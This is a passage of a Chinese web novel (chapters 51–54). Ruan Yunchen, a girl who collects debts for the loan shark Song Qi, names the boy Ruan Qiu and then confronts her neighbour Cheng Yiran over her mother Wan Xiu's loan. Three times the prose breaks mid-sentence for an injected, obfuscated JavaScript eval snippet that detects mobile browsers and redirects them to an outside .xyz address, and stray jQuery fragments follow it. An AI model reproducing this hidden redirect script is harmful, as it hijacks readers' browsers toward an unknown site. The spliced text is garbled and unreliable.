她知道自己在做什么。 这一片空白像是一张无形的网,正将男孩的过去和现在割裂开。他习惯于躲在那片空白里,不愿给自己留下一点痕迹,哪怕是一个完整的名字。 可她不能让这片空白存在。 “名字不全,这书是谁的都看不出来。”她抬眼看着他,声音淡得像是一滴冷水,却精准地落在了他藏起的地方。 男孩手上的笔停了一下,眼神飘忽地扫了一眼书页,又低下头。他没有动,像是在等什么,又像是试图逃开。 阮云琛将书放在桌面上,手指轻轻敲了一下,那声音清脆得很轻,却像是一根从高处落下的针,戳破了屋子里僵硬的空气。 “写全。”她又开口,声音仍旧平淡,只是语调里多了一丝藏不住的催促。 男孩终于抬眼看了她一瞬,那目光太短了,像是还没来得及传递什么情绪就迅速移开。他的手攥紧了笔杆,手背上的青筋微微绷起,却始终没有动作。 “阮。” 她在心里默念了一遍,笔画一个接一个地浮现在脑海里,熟悉得像掌纹。 而她也说出了口:“阮。” 51. 阮 阮云琛从来都不喜欢“阮”这个字。 不是因为它有什么问题,而是因为它总能让她想起一些多余的事情——酒糟味、烟臭味、哭嚎、打骂......随之而来的是邻居背地里的议论:“三楼的阮家啊......” 他们话总是不会说全,可那脸上的表情却永远不会变。 嫌弃的、厌恶的、惋惜的......从阮启明在时,到阮启明死后,再到现在为止,都没曾变过。 可不喜欢又怎么样呢? 她没时间去讨厌它。也没那个闲工夫。 阮云琛不喜欢浪费时间,无论是对人,还是对事。 她在“阮”这个姓上没有选择,它从一开始就被刻在了她的名字里,像门牌,像身份证号码,像一种无法卸下的标记。她从来不觉得它有什么意义,但她也没有兴趣剖析它。 反正人总得有个称呼,姓什么又能怎样呢? 她看着眼前的空白,指尖轻轻敲了敲书页。 “写上。”她说。 她一向不在意归属这种东西,也不觉得一个名字能够真正改变什么。可当男孩将“秋”写在那片空白上的时候,她却无法忽视。 她知道,宋祈不会放过他。 他们已经被绑在了一起,他被她拖入了泥沼。而她唯一能做的,就是尽可能给他留一个落脚的地方,哪怕那不过是个字。 “写吧。”她的声音平静,却带着某种不可置疑的力量,像是一颗钉子,直接砸进了男孩的耳朵里。 男孩终于动了。 他的手指有些僵硬,笔尖缓慢地落下,每一笔都用力得过分,仿佛生怕写得太轻会被擦掉。 他写得很慢,那个“阮”字显得有些笨拙,笔迹却比刚才更加用力。那个“阮”字笔画微微有些重,却写得很小心,像是在刻意不去破坏“秋”的平衡。 “阮秋。” 他的笔迹因为犹豫而略显生硬,那个“阮”字的笔画比后面的“秋”要深一些,仿佛在他心里压着某种无声的重量。 阮云琛看着那两个字,心口莫名被什么东西撞了一下。宋祈的笑声在记忆里盘旋,和那句刺骨的冷言混杂在一起—— “阮秋?挺好听的。” 她的手指又在桌面上轻轻点了一下,像是在打断自己的思绪。目光扫过男孩低垂的脸,她什么都没说,只是转过身走向门口。 淼淼抬起了头,拖长了音调“哎——”了一声,嘟起了嘴:“姐姐也不在家多陪我一会儿吗?” 她的声音带着点不情愿的撒娇,语调轻飘飘的,却精准地停在了阮云琛的脚步里。 阮云琛停了一瞬,头也没回,只是伸手把挂在门边的围巾拉下来围上:“乖乖在家,听你......秋、” “秋”这个字眼儿说出口时,有点生涩,阮云琛下意识地反复在脑子里又过了几遍,才又说出了口:“听你秋哥的话。” 淼淼撅起了嘴,不太高兴地“噢”了声,但还是乖乖埋头读起了那篇晦涩难懂的文言文。 “吾尝跂而望矣,不如登高之博见也;吾尝循而求矣,不如顺势而得之也。” 她皱着眉头,嘴里嘟囔着重复了一遍:“不如顺势而得之……啥意思啊?” 阮云琛侧着头听了片刻,没再说话,推门走了出去。 风从门缝里灌进来,冷得让人打颤,像是刚从冷库里滚出来的刀子,刮在脸上生疼。 阮云琛拉了拉外套的领子,步子很轻,像是不想打扰身后暖光中的安静。 门口的灯光随着她的影子晃动了一下。没走出两步,身后传来轻微的脚步声,急促而犹豫。 她没有停下,直到那脚步声靠近,她才听见有人小声唤她:“姐...姐姐——” 这声“姐姐”叫得也是格外生涩,僵硬得几乎与刚才她提及那叫做“秋”的名字时一样,想要念出口,又不敢念出口。 阮云琛愣了愣,缓缓回过了头。 她看见男孩——阮秋。 阮秋站在门口。 他的脸绷得很紧,手里拎着个保鲜袋。保鲜袋里是那块她刚才没动的油饼,冷得边角都开始变硬了。 他的脚步停在了离阮云琛一两步远的地方,抬手想把饼递出去,可很快像是又突然意识到了什么,眼神动了一下,动作顿住了。 他的手指在袋子边缘轻轻摩挲着,像是在衡量该不该继续。 那饼太凉了,他自己也知道。 这时候递出去,显得过于仓促——甚至有点荒唐。 他垂着眼,想把饼收回来,却又忽地忘记了动作,一下子就僵在了原地。 阮云琛盯着他看了一会儿,忽地笑了。 “给我吧。”她伸出手,“有点饿了。” 男孩的手僵了一下,抬眼看了她一瞬,那眼神里藏不住担忧,像是一种本能的试探,却又不敢问得太多。 他挣扎了会儿,最后还是把那张凉掉的饼递了出去,手指却始终没松开,像是还想说点什么,但最终只是抿了抿嘴,沉默着后退了一步。 他的身高刚好到阮云琛的肩膀。 那瘦削的肩膀在微弱的灯光下显得单薄而僵硬,他的视线向上微微抬着,眼神里那点细微的情绪藏得并不深。 担忧、不安,还有点说不出口的执着—— 阮云琛知道,他大概是猜到了她要去哪里。 但他选择保持沉默。 那种沉默里没有压迫感,也没有探究的锋利,像是一块石头静静落在水底,没有泛起波澜,却沉得极稳。 阮云琛甚至觉得,哪怕自己转身离开,把整个夜晚留给他,他也会一直站在原地,不动声色地等着。 “你先回去吧。”阮云琛忍不住抬手揉了揉他的头发,力道不重,却把他原本紧绷的表情弄乱了一点。 阮秋的身体明显地僵了一下。 他的眼神里闪过些错愕,但没有躲开,只是站在那里,像一棵扎在冬日里的小树,倔强又无措。 “我马上回来。”阮云琛轻声说。 外头的风还很冷,街道上的声音隔着窗户隐约传来,像是遥远的噪音。 阮云琛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004806|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了门,寒风迎面扑来,像是刚从冷库里滚出来的刀子,刮在脸上生疼。她下意识地拉了拉外套,走出巷口,路灯把她的影子拉得又长又细。 街道上的光景和她记忆里的没什么不同。 即使现在还不到深夜,棚户区却像是被一层无形的雾气笼罩着,显得安静而荒凉。破旧的铁皮房墙壁上贴满了褪色的标语,路边堆积的垃圾散发着陈腐的气味。 她慢慢地走,脚下是坑坑洼洼的地面,稍一用力,鞋底就会陷进松软的泥土里。 一个穿着破外套的孩子从她身边跑过,怀里抱着一块破布包裹的东西,脚步快得像一阵风。 路边一个摊贩吼了句什么,试图追上去,最终还是骂骂咧咧地停了下来,蹲在原地继续摆弄自己的东西。 阮云琛停下脚步,目光从远处那个消失在巷尾的身影上收回来。她转头看了一眼身边的铁门——生锈的锁链被人撬开了一半,晃荡着发出刺耳的“嘎吱”声,像是某种无声的嘲笑。 这里的一切都让她觉得熟悉,甚至刺眼。 她记得自己十岁那年,也是在这样的夜里,在这里跌跌撞撞地跑过,鞋底破开一个口子,脚趾冻得发紫,却始终没有回头。 直到一个乞丐拦住了她,用一只脏兮兮的手递过来半块馒头。 她接过馒头,还没有来得及说谢谢,那乞丐就走了。 可她最终也没有吃那半块馒头。 她害怕。 害怕那半块馒头像宋祈短暂的善意一样,利滚利,滚到能压垮脊背的重量——像他手里的高利贷一样,令人恐惧。 阮云琛已经学会了对每一个人保持警惕,包括那些偶尔施舍善意的人,甚至包括警察。 现在她还记得那乞丐的脸,模糊不清,却总是在某些不经意的时刻出现在记忆里,像是一个无法摆脱的影子。 阮云琛闭了闭眼,缓慢地吐出一口气,在冰冷的空气中汇聚成了一团白雾,模糊了视线,模糊了嘴边那块凉得透了的油饼。 阮云琛咬了一口。 ……好硬。 反复加热过的死面油饼硬得硌牙,甚至都有点儿嚼不动了。可阮云琛还是一口一口往嘴里咽,一下一下用牙齿嚼,听着那硬疙瘩饼在嘴巴里嘎嘣地响,让那响声盖过脑子里过于杂乱的声音。 有那么一瞬间,阮云琛突然明白了宋祈说“阮秋”时的冷笑代表了什么。 ——他知道,她永远无法放下这种善意。 她可以在无数个瞬间将自己塑造成冷漠的旁观者,却永远逃不出那些破碎记忆里的羁绊。 街尾传来汽车的喇叭声,把她从思绪里扯了回来。她转身往巷子口走,心里却像堵了什么东西,沉甸甸的,压得她每一步都踩在泥沼里。 她得赶快解决掉这件事。收债、还账、平衡好每一个因果链条……然后将这些该死的情感彻底隔绝在外面。 一辆黑车停在了阮云琛的面前。 黑色的、油亮的、散发着一股令人反胃的烟草气息的车。 副驾驶的车窗缓缓降了下来。 52. 邻居 宋祈并没有在车里。 车里就一个络腮胡子的司机。 他的手臂上隐约露出纹身的痕迹,眼神带着一种漫不经心的审视。他看了阮云琛一眼,那目光没有任何温度,像是扫过一个与自己毫不相干的路人。 阮云琛记得他。 阮云琛曾经跟着这个男人收过几次债,他是宋祈的心腹之一,但她不太记得他叫什么了。 可能是什么“虎”,可能是什么“刚”,没印象......也不值得她有印象。 男人给了她一个牛皮纸袋。 纸袋里是张陈旧的白色纸张,折痕清晰,显然已经被翻看过无数次。 那纸张的边角卷起了一点,泛着灰暗的旧色。那上面的字迹格外歪斜,墨色深浅不一,像是草草写成的,却又带着一股压迫感,显然是被人硬逼着写下的。 而当头的那几个大字,红得刺眼。 ——“借款凭证”。 “借款人:万秀”。 名字旁边是一个红色手印,印泥晕开了一圈......一样。 和阮云琛收过的无数次债款欠条全都一样。 年利率五十八,还款期限十二个月,以及——“保留进一步追缴权利”。 而那落款日期显示的是七年前的二月。 七年前,二月。 而她将那张写着“有难必帮”的传单夹在福利院给的单子里塞给程一冉时,也不过就是一月。 阮云琛闭了闭眼,手指攥紧了欠条的边角,稍稍发力,把那张薄薄的纸折了起来,动作极轻,却像是在捏住一把刀的刀刃,薄利、冰冷、割手。 她抬头滞了会儿,呼出一口寒气,把所有翻涌的情绪压进胸口,逼着自己冷静下来。脚步稳稳地往前迈,每一步都像踩在无形的泥沼里,沉重得叫人窒息。 三条巷子。 脏水淌过破损的石板,寒风从墙缝里钻出来,像针一样扎在脸上。阮云琛低着头走,耳边是她自己的呼吸声,单薄、绷紧,像是随时会被割断的细弦。 当她站在那栋破旧的楼前时,街巷里已经看不见人影了。 万秀的面摊早已收了,煤气灶被拖进了里屋,门前的油腻塑料布半敞着,油渍在阳光下反着污黄的光。 石台上还留着两碗未洗的面碗,筷子斜斜地搭在碗沿上,像是这地方的主人临时丢下的生活,狼狈,又仓促。 她站在那里看了一会儿,抬手把欠条塞进宽大的上衣口袋里,转身迈上了楼梯。 旧楼的墙皮脱落得厉害,灰白的水泥块堆在角落,像是被时间啃噬的伤口。她的脚步在空荡的楼道里回响,每一声都清晰得近乎刺耳,像是钉子一点点打进了她的脑海。 阮云琛的动作不算慢,但步子却有些发沉。她抬起脚,又落下,每一步都像是从地上拔起来的铁锚,沉重到让她心底泛起某种难以形容的疲惫。 以前从来没觉得这楼梯有这么难走。 她的呼吸有些不均,胸口像压着什么东西,一点点把她的力气榨干。楼梯狭窄又弯曲,几乎每一步都让她觉得自己像是在攀登什么不可逾越的障碍,明知道这只是日复一日的楼道,却 好像这次走上去,就再也回不来了。 脚底与水泥台阶相碰,发出的声音很轻,却仿佛在心里砸开了一道道裂缝。 不是走不动,而是不想走。 可她也知道,她不能不走。 阮云琛停在三楼的拐角,扶着墙壁的手指微微收紧了一下,粗糙的墙面硌着她的掌心,像是在提醒她,这一切都是真实的,不是什么做得太逼真的梦。 她的目光落在上方的楼梯口,明知每一步都是泥泞,却依旧迈了出去。一步一步,踩在自己不愿迈向的方向上。 楼道里安静得只剩下她的脚步声,空旷的回响像是无形的回音,在每一层楼梯间徘徊。每一声都像是在质问——你为什么要这样? 她没有回答。 她找不到答案。 自己家里熟悉的门缝微微敞了开,室内暖黄的灯光隐约泻了一点出来。 男孩的脸在门后露了一下,眼睛微微睁了大,似乎是被她这么快就回来了的情景弄得有些措手不及。他盯着她看了两秒,眼神里藏着试探,但什么都没问。 阮云琛扯着嘴角笑了笑,手扶着门框,没有走进去。 “我......上个楼,马上回来。” 阮秋的目光停留在她脸上,像是在寻找什么线索。他的眉头轻轻皱起,嘴唇动了动,像是想要说什么,却没有立即开口。 屋里传来一声稚嫩的声音:“谁啊?” 是淼淼,她趴在桌前,伸长了脖子探过来,眼神带着点好奇和不耐。 阮秋的脚步微微向前挪了一点,像是试图将门再打开一些,却又在最后一刻停住了。他垂下眼睛,嘴角动了动,声音低而轻:“没谁,我听错了。” 他说得轻描淡写,却始终没有回头看屋里一眼。他的目光始终停在阮云琛身上,眼神里藏着止不住的不安,那情绪像一片打旋的云,浓重却无声。 阮云琛看着他,没有多解释什么,只是扯了扯嘴角,露出一个轻微的笑意——短暂得像是被风吹散的一丝雾气。 她把门关上了。 门闭合的瞬间,楼道里的安静像是一层冰冷的雾气,轻轻贴在皮肤上,渗进骨头里。阮云琛站在门口,手指在口袋里动了一下,指尖碰到那张薄薄的欠条。 纸张粗糙的触感让她的思绪微微停滞了一瞬,像是一根无形的线,拽回了她的注意力。她低头看了一眼地面,老旧的水泥地板裂开几道纹路,灰尘积在裂缝里,像一道道不完全愈合的伤口。 脚步声在楼道里回荡,像是走在一条既熟悉又陌生的路上。楼梯间光线暗淡,墙壁上的污迹和破损的楼梯扶手显得格外刺眼。 每迈出一步,鞋底摩擦水泥的声音都让她感到异常清晰,仿佛每一下都在提醒她自己——别想逃,阮云琛。 她的呼吸很轻,却觉得每一次吸气都带着一点迟钝。胸口的压迫感随着距离的缩短愈发清晰。 阮云琛从小到大都知道该怎么面对眼前的局面,却始终没办法让心里那点隐约的不适彻底消散。 三楼的台阶拐角处,视线能透过铁制扶手的缝隙看到对面那扇门。 程一冉家的门像是无数普通家庭一样,漆面剥落得不成样子,门把手上的划痕暴露了它长期的使用痕迹。 阮云琛站在台阶上,看着那扇门。欠条上的“万秀”两个字像是突然浮现在脑海里的某种烙印,散发着无声的热度,刺得她的眼睛有些发涩。 走上前的脚步很慢,鞋底在楼梯边缘踩得太实,发出轻微的“咯吱”声。她下意识地屏住了呼吸,直到站定在门前。 手抬起来时,她的目光落在自己微微蜷起的指尖上,像是试图确认这个动作是否必要。片刻后,她敲了敲门,敲门声轻得几乎盖不过隔壁电视机传来的嘈杂音。 屋里没有动静。 阮云琛又敲了一次,这一次稍微用了点力。 几秒后,门里传来脚步声,那声音不急不缓,和她印象中的某些画面重叠起来,带着一种沉默的抗拒和隐隐的不安。 “谁啊?” 门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012227|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了一道缝,程一冉的脸从门后露出来,眉头紧锁,目光像是一道沉甸甸的探照灯,从门缝里投了出来,直直落在阮云琛的脸上。 “……是你啊。”她低声说,原本拧紧的眉心微微松了些,声音里也带着一点刚缓下来的警觉,像是确认来人后松了一口气。 她的手仍扶在门框上,门慢慢往外推了些许,露出那张有些疲惫的脸。 她穿着一件洗得发白的毛衣,领口处微微卷边,袖口的毛线抽出了一小段,显得有些凌乱。她眉眼间带着倦意,像是昨晚没睡好,嗓音压得低而哑。 屋里一阵杂乱的气味飘了出来——不是难闻,但绝对称不上好闻。 油烟和塑料袋的气息交杂着,混进了厨房里的水蒸气,像是尚未收拾的生活痕迹,把整个客厅压得透不过气。 阮云琛的目光顺着门缝望进去,看到茶几上堆满了面摊用的材料:一捆捆用橡皮筋扎着的塑料袋,散落的青菜叶,还有几颗半剥了皮的洋葱,显得凌乱又匆忙。 “我以为你去上学了。”阮云琛的声音淡淡的,像是随口一提,目光却在房间里扫了一圈,停在角落里翻倒的凳子上。 程一冉把门再拉开了一些,肩膀倚在门框上,语气疲惫:“今天是校运动会,本来就没什么课。” 她顿了一下,抬眼看了阮云琛一眼,像是解释,又像是在自言自语,“我去了一趟,实在是状态不好,老师让我先回来了。” 她的声音平静,尾音却藏着一点听不出的勉强。 说完,隔了会儿,她才后知后觉地发现阮云琛还站在门口,立刻下意识地往旁边让了让,侧身打开了更多的空间:“进来吧,别在外头站着。” 她似乎没多想——没想着她并不熟悉的人为什么突然造访,没想着对方为什么又在这种时间点来。 可能是太累了,也可能是潜意识地把来人当做了普通的邻居......阮云琛不知道。 程一冉往里走了一步,扯过一张小板凳,随手擦了一下,又放在桌旁:“你坐,我去给你倒杯水。” 阮云琛点了点头,没有接话,她的目光扫过客厅那堆凌乱的东西,又落回程一冉脸上。 “你妈妈呢?”她问得平平淡淡,语调里听不出什么情绪。 “出去了。”程一冉低声说,目光往屋里一飘,又迅速转回来,“早上去买菜了。傍晚还要开店,洋葱和包菜都不够了。” 她说话的时候,声音里带着一点不经意的疲惫,手指无意识地卷起毛衣的袖口,露出腕骨上隐约的青筋。她弯腰随手把地上的一只塑料袋拎起来,扔到茶几上,仿佛想让房间看起来不那么乱。 阮云琛站在原地没动,目光扫过她的动作,又落到墙角堆放的几个油壶上。她没有开口,空气里却多了一丝不易察觉的沉默。 “家里有点乱,别介意。”程一冉的声音里带着点苦笑,低头拉了拉桌上的塑料袋,手指在上面磨了一下,像是想掩饰什么,“最近太忙,实在顾不上收拾。” 两人之间的沉默拉开了一小段距离,有些突兀。有风从半开的窗户边吹进来,带着一点冰凉的湿气,悄无声息地钻进屋中。 阮云琛没有动,甚至没有开口的意思。她坐在那张简陋的塑料小板凳上,目光游离在屋里的杂乱里,似乎是在打量,又像是在出神。 程一冉抬起头,手里的动作顿了顿,终于察觉到那种压在空气里的怪异感。她的眉心微微皱起,像是这才从某种迟来的反应里清醒过来。 “对了,”她猛地开口,声音带着点突兀的低哑,像是一片安静里劈开的轻响,“你……怎么突然来了?” 53. 造访 程一冉说得很直接,甚至带着一点隐隐的不安——那不安没有露在脸上,而是藏在语气里,像是被某种说不清的情绪压制着。 阮云琛的目光慢慢地转过来,落在她的脸上。对方眉心还拧着,眼里带着一点微妙的防备,却又不全是敌意。 “随便看看。”阮云琛开口,语气轻得像是从嗓子里溜出来的风,含糊得没有一点实质内容。 程一冉的眉心皱得更紧了一些,手指轻轻捏住了毛衣的边角,像是要把袖口拽得更平整一点,却拽得更皱了。 她站在那里,半信半疑地看着阮云琛,像是试图从她脸上捕捉点什么线索,却又无从下手。 “看看?”程一冉重复了一遍,语调里带着一丝难掩的疑问,“……看看什么?” 阮云琛没有急着回答,而是把手从宽大的上衣口袋里抽出来,隔了会儿,又僵硬地塞了回去。 程一冉尴尬地笑了笑:“家里冷,没安暖气。” 她说着,低头理了理地上一个被自己——或者是她妈妈踢歪的一个塑料箱子,又抬起眼匆匆扫了一眼阮云琛。 阮云琛没说话。 她只是坐在桌边,双手插在外衣的口袋里,指尖反复摸索着口袋里那张折起来的欠条。 欠条的边缘锋利又冷硬,仿佛能把皮肉都给割开。 屋里仍旧安静,只有塑料袋的窸窣声和偶尔碰撞的轻响,气氛却像是一根绷得太紧的弦,随时可能断裂,却始终维持着那种微妙的平衡。 程一冉低着头,一边翻动手里的东西,一边随手将椅背上挂着的围裙折了几下,垫在桌角上。她的动作慢慢放缓下来,像是沉浸在日常琐碎的忙碌里,神情也平静了许多。 桌面上的塑料袋滑了一下,发出轻微的响动。她伸手按住,又顺势将袋口扎紧,熟练得像是在对付一件早已习惯的麻烦事。 阮云琛微微抬了抬眼,看着她的手指在袋子上打结,动作灵巧又利落。那些手指骨节分明,手背隐隐透出几分瘦削的青筋,但指尖却是温热的,带着一种过分的熟练。 她深呼吸了口气,试图把视线从程一冉的身上剥离开来。 ——不能再看了。 再看,可能任务就又要失败了。 阮云琛一点点往后靠在了椅背上,目光缓缓地在屋子里扫了一圈。 桌上是还没来得及收拾的餐具,角落里堆着摞起的折叠桌椅和几只盛满食材的塑料筐,显然是万秀早上用过的东西。屋子显得有些杂乱,却又透着一种被匆忙生活碾过的真实。 她的视线不经意间落到客厅的一角。架子上摆着些零碎的小物件,光线不太好,显得有些凌乱。 架子中间摆着个黑色的小型录像机,比手大点,镜头正对着门口,没盖镜头盖,黑洞洞的镜头直直对着门口——没开机。 见阮云琛在看,程一冉脸上闪过一丝不太自然的神色。她的动作顿了一下,像是犹豫了片刻,随即苦笑着开口:“学校运动会借的,老师让我拿着记录下同学们的比赛时刻……结果用完了就忘了还。” 她顿了顿,垂下眼看了看手里的东西,低声补充了一句:“也顺便放在家门口对着——总有收债的人来敲门,想……录点东西。” “录到了吗?”阮云琛的声音淡淡的,听不出什么情绪。 程一冉的眉头微不可察地皱了一下,似乎对这问题有些迟疑,但最终还是低声回道:“有两段。上个月的。” 她的语调平静,却夹杂着一点苦涩,像是说到什么不堪回首的事。手里的动作也慢了下来,指尖攥着几张废纸,无意识地来回揉搓着。 阮云琛没有说话,目光却在那台录像机上停留了一瞬。机身的镜头在昏暗的光线下反射出一点微弱的光泽,像是某种沉默的注视。 程一冉似乎觉得这话题太过沉重,抿了抿嘴,努力扯了个笑:“不过这玩意儿不好用,录完还得找人借电脑导出来,麻烦得很……要不是学校逼着用,我真不想碰。” 她说完,又低头翻起了手里的废纸堆,动作显得有些用力,像是要把刚才的气氛压回去。 屋子里一时间只有这些轻微的声音——塑料袋的窸窣、桌角偶尔的磕碰声。程一冉没有再看她,只是低着头,像是把所有的注意力都放在眼前的小事上。 阮云琛轻轻垂下眼,手指摸到口袋里的纸边,粗糙的触感顺着指尖传来,像是某种无形的提醒。她的手顿了顿,随后才慢慢地从口袋里抽出那张折得整整齐齐的欠条。 程一冉背对着她,听到一点动静,回头扫了一眼,看到阮云琛手里的东西,眉头几不可察地皱了一下。 “你……还在做发传单的活儿吗?”她没忍住,随口问了一句。 阮云琛没说话,只是轻轻地转动着那张纸的边角,像是在琢磨着什么要紧的事。纸张折痕处显得有些发黄,被阳光一晃,显出了久经摩挲的痕迹。 程一冉扯着嘴角笑了笑:“我妈妈......我妈妈也说过你可能在外面发些小广告什么的。挺累的吧,哈哈。” 她最后的那声笑倒也没有嘲笑的意思,就只是觉得自己话太多,对方跟她又不熟......对啊、她们又不熟。 她们又不熟,甚至这么多年来说过的话一只手都能数得清......为什么阮云琛会突然来她的家里? 程一冉愣了一瞬,眼神突然闪了一下,脑子里有什么记忆被勾了起来。 她低下头,继续手里的动作,却忽地开始心不在焉。 她莫名想起了七年前。 七年前意外在街上见到阮云琛时,那张传单——对、那张福利院的单子——一张是北城房地产新楼盘的宣传单,另一张叠在下面的则写着......写着什么来着? “有难必帮”...... 对,有难必帮。 那四个字非常大,印刷粗糙,字迹规矩得像是被人一笔一划刻出来的。那两张单子都是阮云琛给她的,她回家之后随手就给了她妈妈。 那之后......那之后,她妈妈就忽然有钱供她去读书了。 市立重点,每年学费小几千,加上教科书和校服和课后补习班,怎么也要上个小几万。如果只是开脏面摊的话,又是哪来突然那么多的钱? 程一冉低下头,从一地的狼藉中自然地挪去了角落的旧物堆旁,搬开了上面落满了灰尘的纸箱,把手伸进了地下的报纸堆里。 那报纸堆都已经旧得发黄了,有些边角几乎是碰一下就碎成了渣。 “……你还记得那个时候吗?”她的声音轻飘飘的,带着点无意间勾起的试探,“七年前,你……好像也发过传单吧?” 阮云琛的动作顿了一下。 程一冉没有等她的回应,手指在废报纸堆里翻找着,又从最底下抽出了一本旧课本——那是她小时候的自然课本,封面上印着褪色的画,边角已经有些破损。 她低着头,装作不经意地一页页翻着,语气平静得近乎随意:“对了,那时候的单子上写的什么来着?我记得,好像是……” 话还没说完,她的手指一顿。 那张传单果然还夹在课本里。 纸张已经发黄了,边缘被压得很平整,隐约还能看见上面细小的裂纹。她盯着那张传单,指尖微微用力。 这时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017124|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线的余光里,一张同样老旧的纸被铺在了桌面上。 阮云琛慢慢地展开了那张折好的欠条,动作安静得让人几乎没察觉到声响。纸张的边角被压平,字迹随着光线晃动,露出了些熟悉的内容。 程一冉的呼吸微微一滞,像是有什么东西突然从脑海深处被拽了出来。她的目光下意识地停在那纸上,却没有动。 “那是什么?” 程一冉的呼吸微微一滞。 那张纸摊开在桌上,字迹在阳光下晃了一下,刺得她的眼睛发疼。她的身体几乎是本能地向后一缩,随后猛地站了起来,椅子在地上发出一声刺耳的响动。 “……你是来……”她的声音一下卡住了,像是被什么堵住了喉咙,剩下的话全都梗在舌尖,化作了一个徒劳的音节。 ——不可能。 她摇了摇头,像是在试图把脑子里突然冒出来的念头甩出去。但那些细碎的猜测却像是破了堤的水,一股脑地涌了上来,根本停不住。 是了,她早该想到。 她几乎是下意识地握紧了桌角,指节微微发白,脑海里闪过不久前的那一幕——她站在阮云琛家门口,敲开了门,却什么也没说,自己又慌张地跑了。 如果她当时开口了呢?如果她真的说出了自己想说的话呢? 她的目光落回桌面上,欠条上刺目的数字一瞬间将她拉回现实。她的心跳得很快,快得像要从胸腔里跳出来,耳边的嗡鸣声让她的思绪乱成一团。她早该知道的。 ——阮云琛的爸爸借了高利贷。这个消息她小时候就听她妈妈提起过。 这也不是个秘密,每个街坊邻居都知道这事,她甚至也亲眼见过——见过那些三番五次来她家讨债的人,曾经去过三楼阮云琛家讨债。 只是那时候邻里的交谈中对于阮家的爸爸酗酒家暴的数落次数远超过于那高利贷,程一冉便没往脑子里进。 可现在想来,她记得她妈妈还说过......说过、“三楼的阮家连房本都被收走了”。 那她们是怎么留在这栋房子里的? 阮云琛和阮淼淼她们姐妹俩,是怎么安稳地在这房子里待了那么多年的? 程一冉突然想起来了,前几年邻里偶尔提起过的只言片语,说起阮淼淼的病,说起那姑娘的医药费,那个让她妈妈啧啧叹气的巨额花销。 还有阮云琛,她总是穿着一件洗得发白的外套——可能是她爸爸的、也可能是她妈妈的,那外套总是大得很——她拎着市场上买来的廉价菜,却能让阮淼淼一顿顿地吃得饱饱的。 她是怎么做到的? 一瞬间,所有细节全都串成了一条线。像是某个她早就看见了,却刻意忽略的答案,此刻正一步步浮出水面。 程一冉的视线缓缓移回到阮云琛的脸上,嘴唇微微动了动,似乎想问什么,却最终一个字也没说出口。 阮云琛坐在那里,表情没有一丝波澜。她的手指压在欠条的一角,指腹轻轻地摩挲着那折痕,像是试图将它按平。 纸张的边缘被按得微微发皱,发出轻不可闻的“沙沙”声。程一冉屏住了呼吸,目光紧紧盯着她的动作,像是等待着一场审判。 “七千二。”阮云琛的声音缓缓响起,没有一点起伏,“这是你们家欠款的本金,加上利息,现在需要还二百五十九万四千二百块。” 程一冉愣了一下,脸上的血色迅速褪去。 阮云琛抬起头,目光落在她身上,像是一道平静却透彻的目光,直接穿透了她的防线。 “这个季度,还差三万六千块。”她轻声补充,声音平淡得像是在念一张普通的对账单。 54. 乌龟慢慢爬 程一冉的脑袋“嗡”地一声,仿佛有什么东西被猛然砸了下来,砸得她整个人瞬间钉在了地上。她张了张嘴,却发不出任何声音,所有的情绪一瞬间涌上来,像潮水拍打在脆弱的防波堤上。 震惊、错愕、害怕……还有一种难以言喻的错乱。 阮云琛看起来那么平静——安静地坐在那里,手指轻轻按着那张欠条,像是按着一份稀松平常的清单。她低垂的眉眼看不出情绪,甚至连嘴角的弧度都没有变过。 怎么会呢? 程一冉的目光几乎无法从那张纸上移开,眼前的字和数字像是被放大了一百倍,刺进她的眼底,烙在脑海里挥之不去。 “……你不可能……”她的声音干涩得像是从喉咙里挤出来,“你不可能……真的在替高利贷……干活吧?” 阮云琛没有回应,只是稍稍抬了抬眼皮。 那一瞬间,程一冉几乎以为对方会开口说出什么解释,可她没有——阮云琛的目光落回到欠条上,手指无声地在纸面上摩挲了一下,把一处微微翘起的折痕按平。 那动作带着几分僵硬,又似乎熟悉得很,仿佛早已经做过千遍万遍,早已经变成了一种肌肉记忆。 程一冉的心脏仿佛被猛地拽了一下,疼得发紧。 “你不是……”她的声音已经开始发颤,语调夹着一种难以掩饰的慌乱,“你不是在……在福利院做事吗?你……怎么会是……” 她的脑袋一片混乱,说到一半突然停住了,像是连自己都无法相信这些断断续续的问题从嘴里冒出来。 阮云琛还是没有抬头。 她的手指按住欠条的右上角,声音轻得像一缕飘过的风:“三万六千块......宋祈说了,这次可以破例给你们降到三万五千,不能更少了。” 